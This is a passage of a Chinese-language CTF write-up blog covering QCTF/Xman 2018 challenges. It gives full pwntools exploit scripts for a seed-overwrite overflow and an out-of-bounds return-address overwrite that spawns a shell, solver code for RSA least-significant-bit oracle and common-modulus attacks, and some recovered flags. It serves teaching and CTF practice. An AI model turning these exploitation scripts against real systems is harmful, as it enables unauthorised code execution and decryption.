[+] iter 16 using c for QCTF{5Ym4aOEww2NcAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2Nc{AAAAAAAAAAAAAAAAAAAA
[+] iter 17 using Z for QCTF{5Ym4aOEww2NcZAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZ{AAAAAAAAAAAAAAAAAAA
[+] iter 18 using c for QCTF{5Ym4aOEww2NcZcAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZc{AAAAAAAAAAAAAAAAAA
[+] iter 19 using v for QCTF{5Ym4aOEww2NcZcvAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcv{AAAAAAAAAAAAAAAAA
[+] iter 20 using U for QCTF{5Ym4aOEww2NcZcvUAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvU{AAAAAAAAAAAAAAAA
[+] iter 21 using P for QCTF{5Ym4aOEww2NcZcvUPAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUP{AAAAAAAAAAAAAAA
[+] iter 22 using O for QCTF{5Ym4aOEww2NcZcvUPOAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPO{AAAAAAAAAAAAAA
[+] iter 23 using W for QCTF{5Ym4aOEww2NcZcvUPOWAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOW{AAAAAAAAAAAAA
[+] iter 24 using K for QCTF{5Ym4aOEww2NcZcvUPOWKAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWK{AAAAAAAAAAAA
[+] iter 25 using Y for QCTF{5Ym4aOEww2NcZcvUPOWKYAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKY{AAAAAAAAAAA
[+] iter 26 using M for QCTF{5Ym4aOEww2NcZcvUPOWKYMAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYM{AAAAAAAAAA
[+] iter 27 using n for QCTF{5Ym4aOEww2NcZcvUPOWKYMnAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMn{AAAAAAAAA
[+] iter 28 using P for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnP{AAAAAAAA
[+] iter 29 using a for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPa{AAAAAAA
[+] iter 30 using q for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaq{AAAAAA
[+] iter 31 using P for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqP{AAAAA
[+] iter 32 using y for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPyAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPy{AAAA
[+] iter 33 using w for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPyw{AAA
[+] iter 34 using R for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywRAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR{AA
[+] iter 35 using 2 for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR2AA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR2{A
[+] iter 36 using m for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR2mA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR2m{
[+] iter 37 using } for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR2m}
[+] Found pattern QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR2m}

PWN

Xman-dice_game

放进 ida 看 main 函数:

buf 存在溢出,可以覆盖到 seed,使之为 0。想法就是通过爆破得到随机数的顺序。脚本:

from pwn import *
import random
import time
def test(ans):
    p = process('./dice_game')
    # p = remote("47.96.239.28", 9999)
    p.readuntil("name:")
    payload = p64(0xabcdabcdabcdabcd) * 8 + p64(0)
    p.sendline(payload)
    i = 0
    ans_len = len(ans)
    log.success(ans)
    if True:
        while i < ans_len:
            p.readuntil("nt(1~6): ")
            n = ans[i]
            i += 1
            p.sendline(n)
        random.seed(time.time())
        n = str(int(random.randint(1, 6)))
        p.readuntil("nt(1~6): ")
        p.sendline(n)
        print(n)
        sub = p.readuntil('.')
        log.info(sub)
        return sub, n

ans = ""
while(1):
    if len(ans) == 50:
        print(ans)
        break
    res, n = test(ans)
    if "win" in res:
        ans += n

通过得到的顺序作为 payload,脚本:

from pwn import *
p = process('./dice_game')
# p = remote("47.96.239.28", 9999)
p.readuntil("name:")
payload = p64(0x1122334455667788) * 8 + p64(0)
p.sendline(payload)
ans = "25426251423232651155634433322261116425254446323361"
i = 0
while i < 50:
    p.readuntil("nt(1~6): ")
    n = ans[i]
    i += 1
    p.sendline(n)
p.interactive()

Xan-stack2

感觉这应该算是一道比较好的栈溢出的题。checksec 发现 PIE 没开,Canary 和 NX 都开了。

拖进 ida 后 f5:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h]
  unsigned int v6; // [esp+1Ch] [ebp-8Ch]
  int v7; // [esp+20h] [ebp-88h]
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int l; // [esp+34h] [ebp-74h]
  char v13[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 0x63 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13[l];
  }
  return 0;
}

还能看到有一个hackhere函数,直接调用了system("/bin/bash")

puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7; // index out of bound

这里发现 v5 和 v7 没有做任何检查,能达到任意地址写。

所以这题的思路就是将 main 函数 return 地址覆盖为 hackhere 的地址。

基本就是 ret 到 hackhere 然后直接就成功了:

#!/usr/bin/env python
from pwn import *
import ctypes
p = process('./stack2')
context.log_level = 'debug'

def change(index, content):
    p.sendlineafter('5. exit\n', '3')
    p.sendlineafter('which number to change:\n', str(index))
    p.sendlineafter('new number:\n', str(content))

p.sendlineafter('How many numbers you have:\n', '1')
p.sendlineafter('Give me your numbers\n', '1')
hack_addr = 0x0804859b
offset = 132
# gdb.attach(p, 'b *0x0804859b')
for i in range(4):
    byte = (hack_addr >> (i * 8)) & 0xff
    byte = str(ctypes.c_int8(byte))
    start = byte.find('(') + 1
    end = byte.find(')')
    byte = int(byte[start:end])
    change(offset + i, byte)
p.sendlineafter('5. exit\n', '5')
p.interactive()

但发现远程没有 bash,所以想到直接用字符串中的 sh,即 system(&"/bin/bash"[7]),只需要找到字符串在栈上的位置:

#!/usr/bin/env python
from pwn import *
import ctypes
p = process('./stack2')
context.log_level = 'debug'

def change(index, content):
    p.sendlineafter('5. exit\n', '3')
    p.sendlineafter('which number to change:\n', str(index))
    p.sendlineafter('new number:\n', str(content))

p.sendlineafter('How many numbers you have:\n', '1')
p.sendlineafter('Give me your numbers\n', '1')
hack_addr = 0x0804859b
sys_addr = 0x08048450
offset = 132
# gdb.attach(p, 'b *0x0804859b')
# overflow ret
for i in range(4):
    byte = (sys_addr >> (i * 8)) & 0xff
    byte = str(ctypes.c_int8(byte))
    start = byte.find('(') + 1
    end = byte.find(')')
    byte = int(byte[start:end])
    change(offset + i, byte)
str_addr = 0x08048987
offset2 = offset + 8
# point to string 'sh'
for i in range(4):
    byte = (str_addr >> (i * 8)) & 0xff
    byte = str(ctypes.c_int8(byte))
    start = byte.find('(') + 1
    end = byte.find(')')
    byte = int(byte[start:end])
    change(offset2 + i, byte)
p.sendlineafter('5. exit\n', '5')
p.interactive()

Crypto

babyRSA

题目信息如下:

e = 0x10001

n = 0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb0658707fe516967464439bdec2d6479fa3745f57c0a5ca255812f0884978b2a8aaeb750e0228cbe28a1e5a63bf0309b32a577eecea66f7610a9a4e720649129e9dc2115db9d4f34dc17f8b0806213c035e22f2c5054ae584b440def00afbccd458d020cae5fd1138be6507bc0b1a10da7e75def484c5fc1fcb13d11be691670cf38b487de9c4bde6c2c689be5adab08b486599b619a0790c0b2d70c9c461346966bcbae53c5007d0146fc520fa6e3106fbfc89905220778870a7119831c17f98628563ca020652d18d72203529a784ca73716db

c = 0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b68a630607df0568a7439bc694486ae50b5c0c8507e5eecdea4654eeff3e75fb8396e505a36b0af40bd5011990663a7655b91c9e6ed2d770525e4698dec9455db17db38fa4b99b53438b9e09000187949327980ca903d0eef114afc42b771657ea5458a4cb399212e943d139b7ceb6d5721f546b75cd53d65e025f4df7eb8637152ecbb6725962c7f66b714556d754f41555c691a34a798515f1e2a69c129047cb29a9eef466c206a7f4dbc2cea1a46a39ad3349a7db56c1c997dc181b1afcb76fa1bbbf118a4ab5c515e274ab2250dba1872be0

最低有效位攻击了解一下。

对密文乘 2^e(mod n) 操作,再解密的时候,如果为偶数,说明明文在 (0, n/2) 之间,否则在 (n/2, n) 之间。这样,只需要 log2n 次就可以知道明文:

#!/usr/bin/env python
from pwn import *

e = 0x10001
n = 0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb0658707fe516967464439bdec2d6479fa3745f57c0a5ca255812f0884978b2a8aaeb750e0228cbe28a1e5a63bf0309b32a577eecea66f7610a9a4e720649129e9dc2115db9d4f34dc17f8b0806213c035e22f2c5054ae584b440def00afbccd458d020cae5fd1138be6507bc0b1a10da7e75def484c5fc1fcb13d11be691670cf38b487de9c4bde6c2c689be5adab08b486599b619a0790c0b2d70c9c461346966bcbae53c5007d0146fc520fa6e3106fbfc89905220778870a7119831c17f98628563ca020652d18d72203529a784ca73716db
c = 0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b68a630607df0568a7439bc694486ae50b5c0c8507e5eecdea4654eeff3e75fb8396e505a36b0af40bd5011990663a7655b91c9e6ed2d770525e4698dec9455db17db38fa4b99b53438b9e09000187949327980ca903d0eef114afc42b771657ea5458a4cb399212e943d139b7ceb6d5721f546b75cd53d65e025f4df7eb8637152ecbb6725962c7f66b714556d754f41555c691a34a798515f1e2a69c129047cb29a9eef466c206a7f4dbc2cea1a46a39ad3349a7db56c1c997dc181b1afcb76fa1bbbf118a4ab5c515e274ab2250dba1872be0

upper = n
lower = 0
k = 1
while True:
    r = remote('111.198.29.45', 33136)
    r.recvuntil('now\n')
    pat = (pow(pow(2, k, n), e, n) * c) % n
    new_c = hex(pat)[2:].strip('L')
    r.sendline(new_c)
    data = r.recvline()[:-1]
    r.close()
    gap = upper - lower
    if data == 'even':
        info('Round {}: even'.format(str(k)))
        upper = (upper + lower) / 2
    if data == 'odd':
        info('Round {}: odd'.format(str(k)))
        lower = (upper + lower) / 2
    if data == 'error':
        break
    if gap < 2:
        break
    info(gap)
    k += 1

flag = '{:x}'.format(upper).decode('hex')[:-1] + '}'
print 'flag:', flag

Xman-RSA

拿到四个文件后,其中有一个很像 python 的脚本,通过对关键字等的判断,自己写脚本还原:

l1 = {
    'a': 'd',
    'b': 'm',
    'd': 'e',
    'e': 'n',
    'f': 'w',
    'g': 'f',
    'h': 'o',
    'i': 'x',
    'j': 'g',
    'k': 'p',
    'l': 'y',
    'm': 'h',
    'p': 'i',
    'q': 'r',
    'r': 'a',
    't': 's',
    'u': 'b',
    'v': 'k',
    'w': 't',
    'x': 'c',
    'y': 'l',
    'z': 'u'
}
f = open('encryption.encrypted', 'r')
ans = f.read()
# print ans
res = ""
for ch in ans:
    flag = 0
    for key, value in l1.items():
        if ch == key:
            res += value
            flag = 1
            break
        else:
            continue
    if flag == 1:
        continue
    else:
        res += ch
print res
raw_input()
f = open('1.py', 'wb')
f.write(res)
f.close()

还原出原来的加密脚本:

from gmpy2 import is_prime
from os import urandom
import base64

def bytes_to_num(b):
    return int(b.encode('hex'), 16)

def num_to_bytes(n):
    b = hex(n)[2:-1]
    b = '0' + b if len(b)%2 == 1 else b
    return b.decode('hex')

def get_a_prime(l):
    random_seed = urandom(l)

    num = bytes_to_num(random_seed)

    while True:
        if is_prime(num):
            break
        num+=1
    return num

def encrypt(s, e, n):
    p = bytes_to_num(s)
    p = pow(p, e, n)
    return num_to_bytes(p).encode('hex')

def separate(n):
    p = n % 4
    t = (p*p) % 4
    return t == 1

f = open('flag.txt', 'r')
flag = f.read()

msg1 = ""
msg2 = ""
for i in range(len(flag)):
    if separate(i): # 奇数
        msg2 += flag[i]
    else: # 偶数
        msg1 += flag[i]

p1 = get_a_prime(128)
p2 = get_a_prime(128)
p3 = get_a_prime(128)
n1 = p1*p2
n2 = p1*p3
e = 0x1001
c1 = encrypt(msg1, e, n1)
c2 = encrypt(msg2, e, n2)
print(c1)
print(c2)

e1 = 0x1001
e2 = 0x101
p4 = get_a_prime(128)
p5 = get_a_prime(128)
n3 = p4*p5
c1 = num_to_bytes(pow(n1, e1, n3)).encode('hex')
c2 = num_to_bytes(pow(n1, e2, n3)).encode('hex')
print(c1)
print(c2)

print(base64.b64encode(num_to_bytes(n2)))
print(base64.b64encode(num_to_bytes(n3)))

代码看完后,思路是先用共模攻击解出 n1,之后利用公约数得到 p1p2p3,再求出 d1d2,最后解出 msg1msg2。给出的文件中,ciphertext 为第二次输出的 c1c2n1.encrypted 为第二次输出的 c1c2n2&n3即最后输出的被加密后的n2n3。解密脚本如下:

#!/usr/bin/env python
import base64
import gmpy2
f = open('n2&n3', 'rb')
n2 = f.readline()
n3 = f.readline()
f.close()
n2 = base64.b64decode(n2).encode('hex')
n3 = base64.b64decode(n3).encode('hex')
n2 = int(n2, 16)
n3 = int(n3, 16)
# print 'n2:', n2
# print 'n3:', n3
# first step: solve n1
e1 = 0x1001
e2 = 0x101
f = open('n1.encrypted', 'rb')
n1_c1 = f.readline()
n1_c2 = f.readline()
f.close()
n1_c1 = int(n1_c1, 16)
n1_c2 = int(n1_c2, 16)
# print 'n1_c1:', n1_c1
# print 'n1_c2:', n1_c2
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
    s = abs(s)
    n1_c1 = gmpy2.invert(n1_c1, n3)
if t < 0:
    t = abs(t)
    n1_c2 = gmpy2.invert(n1_c2, n3)
n1 = gmpy2.powmod(n1_c1, s, n3) * gmpy2.powmod(n1_c2, t, n3) % n3
print 'n1:', n1
# second step: solve flag
f = open('ciphertext', 'rb')
c1 = f.readline()
c2 = f.readline()
f.close()
c1 = int(c1, 16)
c2 = int(c2, 16)
print 'c1:', c1
print 'c2:', c2
e = 0x1001
p1 = gmpy2.gcd(n1, n2)
p2 = n1 / p1
p3 = n2 / p1
d1 = gmpy2.invert(e, (p1 - 1) * (p2 - 1))
d2 = gmpy2.invert(e, (p1 - 1) * (p3 - 1))
m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)
msg1 = hex(m1)[2:].decode('hex')
msg2 = hex(m2)[2:].decode('hex')
flag = ''
for i in range(len(msg1 + msg2)):
    if i % 2 == 0:
        flag += msg1[i / 2]
    else:
        flag += msg2[i / 2]
print 'flag:', flag

参考网站

https://ihomura.cn/2018/07/15/WriteUp-QCTF-Xman-babymips/
https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/
https://ihomura.cn/2018/07/15/WriteUp-QCTF-Xman-stack2/
https://www.xmsec.cc/stackoverflow-ropbasic/
https://blog.csdn.net/xuchen16/article/details/81080580
https://blog.csdn.net/xuchen16/article/details/81064079
http://www.freebuf.com/column/177864.html
https://introspelliam.github.io/2018/03/27/crypto/RSA-Least-Significant-Bit-Oracle-Attack/
http://www.cnblogs.com/semishigure/p/9318258.html
https://blog.csdn.net/qq_33438733/article/details/81137057


ctf wp

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

2018-XMan个人排位赛
PWN入门(三)